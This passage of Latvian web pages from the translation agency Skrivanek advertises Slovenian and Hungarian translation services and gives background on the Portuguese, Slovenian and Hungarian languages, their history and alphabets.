tu, mēs, viņš, viņi) lietojums ir izlaists kā standarts, jo darbības vārda konjugācija skaidri norāda uz personu un skaitli. Portugāļu valoda tika oficiāli pasludināta par valodu 1290. gadā. Portugāļu valoda pakāpeniski attīstījās no latīņu valodas pēc tam, kad tā tika ieviesta Portugālē ap 200. gadu p. m. ē. Tomēr tikai 1290. gadā, kad Portugāles karalis − dzejnieks Dinišs I to pasludināja par Portugāles valodu, tā tika atzīta par oficiālu valodu. Agrākie ieraksti portugāļu valodā ir datēti ar 9. gadsimtu. Garākais vārds portugāļu valodā "anticonstitucionalíssimamente" sastāv no 29 burtiem, un tas nozīmē "ļoti antikonstitucionālā veidā”. Lai gan latviešu valodā vārds “ir/būt” ir universāls, portugāļu valodā tam ir divas dažādas darbības vārdu formas: ser un estar. Ser tiek izmantots, runājot par kaut ko pastāvīgu, nemainīgu. Savukārt estar ir paredzēts īslaicīgām situācijām, piemēram, noskaņojumam vai laikapstākļiem. PORTUGĀĻU ALFABĒTS Portugālē ir uz latīņu alfabēta balstīta rakstīšanas sistēma, kuras alfabēts sastāv no 26 burtiem. Kaut gan līdz 2009. gadam tajā bija tikai 23 burti. Vēl nesen burti “K”, “W” un “Y” nebija portugāļu valodas daļa. Tādos vārdos kā “kilograms” portugāļu valodā K burts bija aizstājams ar “qu” – “quilograma”, savukārt “W” un “Y” skaņas bija sastopamas tikai svešvārdos. 2009. gadā portugāļu valodā runājošās valstis visā pasaulē apvienojās, lai parakstītu jaunu “Ortogrāfisko līgumu”, kas standartizēja pareizrakstības formas dažādās portugāļu valodas variācijās un ieviesa burtus “K”, “W” un “Y”. Portugāļu valoda savas evolūcijas gaitā no kopējām latīņu saknēm tika pakļauta vairākām sistemātiskām skaņu izmaiņām. Kaut arī leksiski portugāļu valoda ir tuvāka spāņu valodai, pēc patskaņu salīdzinājuma tā ir vairāk līdzīga itāļu un katalāņu valodām, jo tajās ir saglabājušies oriģinālie latīņu patskaņi, kuru vietā spāņu un franču valodās tagad ir divskaņi. CIK SAREŽĢĪTA IR PORTUGĀĻU VALODA? Portugāļu valoda tiek uzskatīta par vienu no visvieglāk apgūstamajām valodām pasaulē. Tā ir ļoti daiļskanīga un bagāta valoda. Visvieglāk valodu ir apgūt tiem, kas jau runā kādā no romāņu valodām – spāņu vai itāļu. Reizēm, protams, var apjukt no portugāļu valodas izrunas dažādības, jo, lai gan valoda ir viena, dažādās valstīs un reģionos tās izruna ļoti atšķiras. Jāņem vērā arī valodas ekspansivitāte, enerģija un spēks. Protams, liela loma ir valodas apguvei, atrodoties valodu runājošo cilvēku vidē – klausoties, lasot, runājot. Portugāļu valodas kursus Latvijā piedāvā vairākas valodu skolas, tostarp arī Skrivanek. KUR UN CIK DAUDZ RUNĀ PORTUGAĻU VALODĀ? Portugāļu valoda ir dzimtā valoda vairāk nekā 220 miljoniem cilvēku − Portugālē, Brazīlijā un Angolā. Interesanti, ka tikai ap 10 miljoniem (jeb --- > Rakstiskie un mutiskie tulkojumi slovēņu valodā. Sazinieties ar mums un saņemiet bezmaksas cenas aprēķinu 15 minūtēs! - Published: 2021-12-07 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovenu-valoda/ - Translation Priorities: Optional TULKOJUMI SLOVĒŅU VALODĀ / TULKOT SLOVĒŅU VALODĀ CIK MAKSĀ TULKOJUMI SLOVĒŅU VALODĀ? Lai noteiktu tulkojuma cenu no/uz slovēņu valodu, tiek ņemtas vērā vairākas komponentes ─ tulkojamā teksta apjoms, formāts, izpildes termiņi, teksta terminoloģijas specifika, teksta atkārtošanās, grafiskā apstrāde, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums u. c. pakalpojumi. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Lai sagatavotu tikai jums īpašu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. Rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz slovēņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu biroja tulkošanas projektu vadītāji sniegs detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NO/UZ SLOVĒŅU VALODU: dokumentu tulkojumi slovēņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināti tulkojumi; lokalizācija; mājaslapu tulkojumi slovēņu valodā; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi slovēņu valodā; individuālie slovēņu valodas kursi; Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus slovēņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI SLOVĒŅU VALODĀ / TULKOT SLOVĒŅU VALODĀ CIK MAKSĀ TULKOJUMI SLOVĒŅU VALODĀ? Lai noteiktu tulkojuma cenu no/uz slovēņu valodu, tiek ņemtas vērā vairākas komponentes ─ tulkojamā teksta apjoms, formāts, izpildes termiņi, teksta terminoloģijas specifika, teksta atkārtošanās, grafiskā apstrāde, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums u. c. pakalpojumi. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Lai sagatavotu tikai jums īpašu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. Rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz slovēņu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu biroja tulkošanas projektu vadītāji sniegs detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NO/UZ SLOVĒŅU VALODU: dokumentu tulkojumi slovēņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināti tulkojumi; lokalizācija; mājaslapu tulkojumi slovēņu valodā; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi slovēņu valodā; individuālie slovēņu valodas kursi; Meklējiet valodu risinājumus slovēņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR SLOVĒŅU VALODU Slovēņu valoda (slovenski jezik vai slovenščina) ir indoeiropiešu saimes slāvu atzara valoda. Tā ir Slovēnijas oficiālā valsts valoda, kā arī viena no Eiropas Savienības oficiālajām darba valodām. Slovēņu valoda pieder pie dienvidslāvu valodu grupas un ir radniecīga ar serbohorvātu valodu. Interesanti, ka dažos Slovēnijas reģionos tuvāk kaimiņvalstu robežām runā arī ungāru un itāļu valodā. Slovēņu valoda bieži vien tiek raksturota kā visbagātākā slāvu atzara valoda to dialektu ziņā ar ļoti atšķirīgu savstarpējas saprotamības pakāpi. Ir septiņi dialekti, kas savukārt sīkāk sadalās 50 dažādos apakšdialektos. Ne velti slovēņiem ir sakāmvārds “Katram ciemam ir sava balss” (Vsaka vas ima svoj glas), kas ļoti trāpīgi atspoguļo dialektu daudzveidību. Lai gan izruna dažādos dialektos ļoti atšķiras, šīs atšķirības nerada problēmas saprasties dažādu reģionu iedzīvotājiem. Literāro slovēņu valodu galvenokārt izmanto publiskās prezentācijās vai oficiālos pasākumos. Vēsturnieku atrastie rakstu fragmenti liecina, ka slovēņu valoda sāka veidoties aptuveni 10. gadsimtā. Līdz 16. gadsimtam jau bija sarakstītas pirmās 50 grāmatas slovēņu valodā. |Starp tām arī pirmā gramatikas grāmata un Bībeles tulkojums. No viduslaikiem līdz pat Austroungārijas sabrukumam 1918. gadā vācu valodu lietoja sabiedrības augstākais slānis, bet slovēņu valodu – parastie cilvēki. Šajā laikā vācu valodai bija spēcīga ietekme uz slovēņu valodu, un mūsdienu sarunvalodā joprojām ir saglabājušies daudzi ģermānismi. Otrā pasaules kara laikā Slovēniju okupēja vācieši, itāļi, ungāri un horvāti. Līdz ar okupāciju nāca aizliegums skolās lietot slovēņu valodu. Daži okupanti arī aizliedza lietot slovēņu valodu visās sabiedriskās vietās. Ja skolēni skolā tika pieķerti runājam dzimtajā valodā, viņi tika sisti ar koka nūju, lineālu vai spiesti mesties ceļos uz kukurūzas kaudzes. Tajā laikā tika iznīcinātas arī tūkstošiem slovēņu grāmatu, radot neatgriezenisku kaitējumu slovēņu mantojumam. Pēc Otrā pasaules kara Slovēnija nonāca Dienvidslāvijas sastāvā un slovēņu valoda kļuva par vienu no valsts oficiālajām valodām. To lietoja gandrīz visā sabiedriskajā dzīvē, izņemot dienvidslāvu armiju, kur tika lietota tikai serbohorvātu valoda. 1991. gadā Slovēnija ieguva neatkarību un slovēņu valoda kļuva par oficiālo valsts valodu un to sāka izmantot pilnīgi visās jomās. SLOVĒŅU ALFABĒTS Slovēņu alfabēts ir alfabēts, ko izmanto slovēņu valodas pierakstīšanai. Tas sastāv no 25 burtiem un ir veidots uz latīņu alfabēta pamata ar trīs papildu burtiem: Č, Š, Ž. Rakstībā tiek lietoti arī trīs digrāfi: NJ, LJ un DŽ. Tādējādi kopējais grafēmu skaits slovēņu valodā ir 28. Katram burtam, ieskaitot digrāfus, ir arī savs analogs kirilicā. CIK SAREŽĢĪTA IR SLOVĒŅU VALODA? Slovēņu valoda netiek uzskatīta par sarežģītu valodu, jo valodas pierakstīšanai tiek izmantots slovēņu alfabēts, kurā tiek lietoti latīņu alfabēta burti. Izruna ir tieši tāda pati, kā rakstība, izņemot dažus burtus, kas nav raksturīgi daudzām citām valodām – č, ž, š. Slovēņiem mēdz būt arī vārdi bez neviena patskaņa, kas sākotnēji šķiet sarežģīti izrunājami, piemēram, Trst (Trieste), Črt (vīrieša personvārds) u. c. Arī gramatika ir diezgan vienkārša, jo teikuma kārtība ir loģiska un viegli uztverama. Lai iemācītos slovēņu valodu, vislabāk ir to apgūt vidē, kur tā ir dzimtā valoda vai ikdienas sarunvaloda. Metodiskie materiāli slovēņu valodas apguvei nav ļoti viegli pieejami, bet valodas apguvi atvieglo, ja ir apgūta krievu valoda. KUR UN CIK DAUDZ RUNĀ SLOVĒŅU VALODĀ? Slovēņu valodā runā aptuveni 2,5 miljoni cilvēku visā pasaulē, galvenokārt Slovēnijā, kā arī nacionālās minoritātes Itālijā (apmēram 90 000), Austrijā (25 000) un Horvātijas Istras rietumos, kas robežojas ar Slovēniju. Arī Horvātijas lielākajās pilsētās Rijekā un Zagrebā (11 800–13 100), Ungārijas dienvidrietumos (3000–5000), Serbijā (5000) un slovēņu diasporā visā Eiropā un pārējā pasaulē (apmēram 300 000), sevišķi Amerikas Savienotās Valstīs (jo īpaši Ohaio, kur dzīvo aptuveni 3400 runātāju), Kanādā, Argentīnā, Austrālijā un Dienvidāfrikā. SLOVĒŅU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek Baltic nodrošina gan tipveida dokumentu, gan sarežģītu zinātnisku tekstu rakstiskos tulkojumus, arī notariāli apliecinātus tulkojumus. Nodrošinām arī tekstu slovēņu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz slovēņu valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, mārketinga materiālu tulkojumus, produktu etiķešu tulkojumus atbilstoši ES standartu prasībām. Fiziskām personām visbiežāk tulkojam personu apliecinošus dokumentus, laulību apliecības, bērnu dzimšanas apliecības, izglītības dokumentus, pases, medicīnisko dokumentāciju u. c. SLOVĒŅU VALODA BIZNESĀ Slovēņu valoda kā biznesa valoda pasaulē nav izplatīta. Principā tā tiek lietota tikai Slovēnijas teritorijā. Pēdējos gados augusi tendence veidot biznesa sakarus ārpus Slovēnijas, tomēr tad kā sarunvaloda tiek lietota angļu un vācu valoda. SLOVĒŅI LATVIJĀ Latvijā mēdz īslaicīgi uzturēties slovēņu studenti apmaiņas programmu ietvaros. Ar Slovēnijas augstākās izglītības iestādēm sadarbojas Latvijas Universitāte un Vidzemes Augstskola. Tiek uzturēti kontakti starp Latvijas Zinātņu akadēmiju un Slovēnijas Zinātņu akadēmiju. Regulāra ir sadarbība kultūras jomā ─ starptautiskajā Rakstnieku un tulkotāju mājā Ventspilī ir uzturējušies vairāki Slovēnijas rakstnieki – Lenarts Zajcs (Lenart Zajc), Damijans Šinigojs (Damijan Šinigoj), Maja Gala Štomare (Maja Gal Štromar) un Gašpers Malejs (Gašper Malej), ir notikušas vairākas slovēņu mākslinieku izstādes, kā arī koncerti sadarbībā ar Slovēnijas un Latvijas mūziķiem. Tāpat noris arī sadarbība satiksmes un aizsardzības jomā. Bruņoto spēku kaujas vienībās mācības ir uzsākuši arī Slovēnijas karavīri. Interesants ir arī fakts, ka, pieaugot mazo valodu izaicinājumiem digitālajā laikmetā, Latvijas un Slovēnijas pētnieki, klātesot abu valstu prezidentiem, 2021. gada 28. septembrī parakstīja valstiski nozīmīgu vienošanos par sadarbību valodu tehnoloģiju jomā. Abu valstu sadarbība, apmainoties ar pieredzi, zināšanām, tehnoloģijām un piedaloties kopīgos pētniecības projektos, praktiski stiprinās latviešu un slovēņu valodu digitālajā pasaulē. Kopš 2017. gada 28. augusta Slovēniju Latvijā pārstāv Polijas vēstniecība. SLOVĒŅU VALODAS DIENA Lepni par savu valodu, jau kopš 1999. gada katru gadu 21. februārī slovēņu tauta svin savas valodas dzimšanas dienu Starptautiskajā dzimtās valodas dienā. Šo svinību mērķis ir veicināt izpratni par valodu un kultūras daudzveidību, kā arī daudzvalodību pasaulē. Ikviena dzimtā valoda ir pelnījusi, lai to pazītu, atpazītu un piešķirtu tai nācijas vērtības statusu. Dzimtajām valodām ne vienmēr ir valsts valodas statuss, oficiālās valodas statuss vai mācību valodas statuss, kas diemžēl var novest pie dzimtās valodas devalvācijas un tās izzušanas. Slovēņu valodu runā aptuveni divi miljoni cilvēku Slovēnijā, slovēņu minoritātes pārstāvji kaimiņvalstīs un diasporās visā pasaulē. Tai ir oficiālās valodas statuss ne tikai Slovēnijā, bet arī Eiropas Savienībā, tāpēc pēc pasaules standartiem tā ir diezgan labi aizsargāta un nav apdraudēta. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM NO/UZ SLOVĒŅU VALODU: dokumentu tulkojumi slovēņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināti tulkojumi; lokalizācija; mājaslapu tulkojumi slovēņu valodā; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi slovēņu valodā; individuālie slovēņu valodas kursi; SLOVĒŅU VALODAS KOMBINĀCIJAS: slovēņu–latviešu; latviešu–slovēņu; slovēņu–lietuviešu; lietuviešu–slovēņu; igauņu–slovēņu; slovēņu–igauņu; angļu–slovēņu; slovēņu–angļu; krievu–slovēņu; slovēņu–krievu; poļu–slovēņu; slovēņu–poļu; ukraiņu–slovēņu; slovēņu–ukraiņu; čehu–slovēņu; slovēņu–čehu; vācu–slovēņu; slovēņu–vācu; spāņu–slovēņu; slovēņu–spāņu; franču–slovēņu; slovēņu–franču; itāļu–slovēņu; slovēņu–itāļu; dāņu–slovēņu; slovēņu–dāņu; zviedru–slovēņu; slovēņu–zviedru; norvēģu–slovēņu; slovēņu–norvēģu; somu–slovēņu; slovēņu–somu, slovēņu–arābu; arābu–slovēņu; slovēņu–armēņu, armēņu–slovēņu; slovēņu–baltkrievu, baltkrievu–slovēņu; bulgāru–slovēņu, slovēņu–bulgāru; slovēņu–ebreju, ebreju–slovēņu, slovēņu–grieķu, grieķu–slovēņu; slovēņu–gruzīnu; gruzīnu–slovēņu; slovēņu–hindi; hindi–slovēņu; slovēņu–holandiešu; holandiešu–slovēņu; slovēņu–korejiešu; korejiešu–slovēņu; slovēņu–kurdu; kurdu–slovēņu; slovēņu–ķīniešu; ķīniešu–slovēņu; slovēņu–portugāļu; portugāļu–slovēņu; slovēņu–rumāņu; rumāņu–slovēņu; slovēņu–slovāku; slovāku–slovēņu; slovēņu–ukraiņu; ukraiņu–slovēņu; slovēņu–turku; turku–slovēņu; slovēņu–ungāru; ungāru–slovēņu u. c. --- > Rakstiskie un mutiskie tulkojumi, kā arī citi valodu risinājumi ungāru valodā. Sagatavosim bezmaksas cenas piedāvājumu 15 minūtēs! - Published: 2021-12-06 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ungaru-valoda/ - Translation Priorities: Optional TULKOJUMI UNGĀRU VALODĀ / TULKOT UNGĀRU VALODĀ CIK MAKSĀ TULKOJUMI UNGĀRU VALODĀ? Katram tulkojumam no/uz ungāru valodu cenu nosaka individuāli, tiek ņemtas vērā vairākas komponentes ─ tulkojamā materiāla apjoms, izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildu izvēlētie pakalpojumi (notariāls apliecinājums u. c. pakalpojumi). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Mūsu tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta atkārtojumiem tulkojumā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ/NO UNGĀRU VALODAS: dokumentu tulkojumi ungāru valodā; specializēti tulkojumi; steidzami tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ungāru valodā; individuālie ungāru valodas kursi; Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus ungāru valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI UNGĀRU VALODĀ / TULKOT UNGĀRU VALODĀ CIK MAKSĀ TULKOJUMI UNGĀRU VALODĀ? Katram tulkojumam no/uz ungāru valodu cenu nosaka individuāli, tiek ņemtas vērā vairākas komponentes ─ tulkojamā materiāla apjoms, izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildu izvēlētie pakalpojumi (notariāls apliecinājums u. c. pakalpojumi). VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Mūsu tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta atkārtojumiem tulkojumā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ/NO UNGĀRU VALODAS: dokumentu tulkojumi ungāru valodā; specializēti tulkojumi; steidzami tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ungāru valodā; individuālie ungāru valodas kursi; Meklējiet valodu risinājumus ungāru valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR UNGĀRU VALODU Ungāru valoda (magyar nyelv) ir somugru valoda, kurā galvenokārt runā ungāri jeb maģāri Centrāleiropā. Tā ir Ungārijas oficiālā valoda un kopš 2004. gada 1. maija arī viena no Eiropas Savienības oficiālajām valodām. Tuvākās radniecīgās valodas ir hantu un mansu valodas, kurās runā nelielas iedzīvotāju grupas Sibīrijas rietumos. Ungāru valoda ir daļa no somugru valodu grupas, bet, šķiet, ka tikai formāli. Ungāru valoda pārāk atšķiras no jebkuras somugru valodas. Pat zinātnieki nolēma ungāru valodu piedēvēt somugru grupai tikai pēc simtiem gadu ilgas izpētes un diskusijām ─ ilgu laiku viņi nevarēja saprast, kas tā ir par svešzemju valodu. Ungāru valoda, lai cik paradoksāli tas izklausītos, ir vistuvākā hantu un mansu tautu valodai (mūsdienu ungāru priekšteči onoguru ciltis ir cēlušies no Urāliem). Simtiem gadu onoguri vadīja nomadu jeb klejotāju dzīvesveidu, līdz viņi apmetās mūsdienu Ungārijas teritorijā. Nomadu dzīve spēcīgi ietekmēja ungāru valodu. Tika aizgūts nedaudz no katras valodas, ar kuru saskārās. Ungāru valodā ir liels skaits aizņēmumu no turku un slāvu valodām. Tajā ir arī daudz anglismu, gallicismu un aizguvumu no vācu valodas. Ungāru valoda ir visvecākā no visām somugru valodām. Atsevišķi teksti jau ir ietverti 11. gadsimta vēstulēs, un pirmais teksts, kas rakstīts ungāru valodā ─ Bēru runa un lūgšana (Halotti Beszéd és Könörgés) ─ ir datēts ne vēlāk kā 1200. gadā. Nākamais senākais piemineklis ir agrīnā ungāru valodā rakstītās “Marijas žēlabas” (Ómagyar Mária Siralom), attiecināms uz 13. –14. gadsimta miju. Tad parādās liels skaits ar roku rakstītu reliģiska satura grāmatu, pārsvarā tulkotas. 1541. gadā tika izdota pirmā ungāru drukātā grāmata ─ Jānoša Silvestra slavenais Jaunās Derības tulkojums. Ungāru valodas teksti jau kopš 13. gadsimta tiek pierakstīti ar izmainītiem latīņu alfabēta burtiem. Tās ortogrāfija stabilizējās 16. gadsimtā līdz ar grāmatu iespiešanas mašīnu izgudrošanu. Ir pieņemta šāda ungāru valodas periodizācija: seno laiku ungāru valoda ─ no 10 gadsimta līdz 1526. gadam, ko pārstāv ar roku rakstīti pieminekļi (fragmentāri un saistīti) un vārdu saraksti; vidusungāru valoda ─ no 1526. līdz 1772. gadam (pirms apgaismības laikmeta), ko pārstāv galvenokārt kodi ─ reliģiska satura tekstu tulkojumi; jauno laiku ungāru valoda ─ no 1772. gada līdz mūsdienām. Viens no interesantākajiem vēsturiskajiem faktiem ungāru valodā ─ tradīcija, ka, apprecoties, ungāru sieviete iegūst jaunu vārdu: “né” tiek pievienots viņas vīra uzvārdam un vārdam. Uzvārdu vienmēr sauc pirms vārda, šī apgrieztā secība Ungārijā ir vispārpieņemta. Ja vīra vārds ir, piemēram, Ištvāns Kišs (Kis István), tad viņa sievas vārds būs Kis Istvánné, ko var tulkot tikai kā “Kiša kundze” vai “Ištvāna Kiša sieva”. Pašas sievietes vārds vienkārši pazūd, un viņu nav iespējams atpazīt bez personīgas pazīšanās. Tas rada problēmas ne tikai ar saziņu, bet arī ar identifikāciju. Lai atrisinātu pēdējo, Ungārijas iestādes nāca klajā ar tādu noteikumu dokumentos kā “mātes vārds” ─ mātes vārds un uzvārds dokumentos tiek ierakstīts pirms laulībām (gan sievietēm, gan vīriešiem). UNGĀRU ALFABĒTS Ungāru alfabētā ir 44 burti (no tiem 14 ir patskaņi) un burtkopas, no kuriem 4 burti (Q, W, X, Y) tiek lietoti tikai aizguvumos no citām valodām. No 13. gadsimta ungāru valodā tika pieņemts latīņu alfabēts un no 16. gadsimta, kad izgudroja drukas mašīnas, tika nostiprināta arī ungāru valodas ortogrāfija. Ungāru valodas izveidi ietekmēja migrācija – valodā tika aizgūti vārdi ar irāņu, kaukāziešu un tjurku izcelsmi. Vēlāk Eiropā to ietekmēja kaimiņu valodas un tika aizgūti vārdi no slāvu, latīņu un ģermāņu valodām. Ienāca arī vārdi no turku valodas, kas izskaidrojams ar Otomāņu okupāciju valstī, kas ilga gandrīz 200 gadu. Valodas rakstiskā attīstība sākās viduslaikos, un pirmais rakstītais teksts ungāru valodā ir no 13. gadsimta sākuma. Reformācijas sākums un drukas mašīnas ieviešanai bija liela loma ungāru valodas standartizēšanā. 1540. gadā parādījās pirmais Bībeles tulkojums ungāru valodā. Bet 16. un 17. gadsimta literārā attīstība neaprobežojās tikai ar reliģiskiem tekstiem – līdz ar rakstiskās valodas stabilizāciju, izveidojās individuāla literārā kustība. Senais ungāru raksts jeb rovás alfabēts (rūnu raksts — no labās uz kreiso) bija nomainīts ar latīņu alfabētu pirmā ungāru karaļa Ištvāna I valdības laikā (997–1038). Vārdi tiek veidoti galvenokārt ar aglutinācijas (“pielīmēšanas”) metodi. Tādējādi vārdi bieži vien izveidojas ļoti gari. Lai izlasītu konkrētu vārdu, tas bieži ir 